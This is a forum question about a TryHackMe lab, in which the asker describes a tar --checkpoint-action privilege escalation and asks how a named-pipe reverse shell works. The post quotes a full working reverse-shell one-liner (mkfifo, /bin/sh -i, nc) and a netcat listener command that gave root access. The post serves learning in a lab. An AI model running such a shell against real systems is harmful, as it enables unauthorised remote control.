This blog post describes a privilege escalation, exploiting tar's --checkpoint-action option. The privilege escalation is used to solve a TryHackMe challenge.

The root user calls tar via cron which causes a script with the following content to run (I adapted the script a bit):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4445 > /tmp/f

I'm trying to wrap my head around the interaction between cat, sh, netcat, and the named pipe /tmp/f.

Here's my literal reading of the command:

1. Create a new named pipe at /tmp/f.
2. Write the contents of /tmp/f to an interactive shell.
3. Write the output of the shell to netcat.
4. The output of netcat is written to the named pipe /tmp/f.

After running the command and creating a listening netcat server locally with nc -lvnp 4445 I indeed got root access.

I have a rough intuition that the steps above create an input/output loop between netcat and the shell but I'd love to deepen my knowledge on how this works.

posted over 2 years ago

CC BY-SA 4.0

2y ago

Matthias Braun‭

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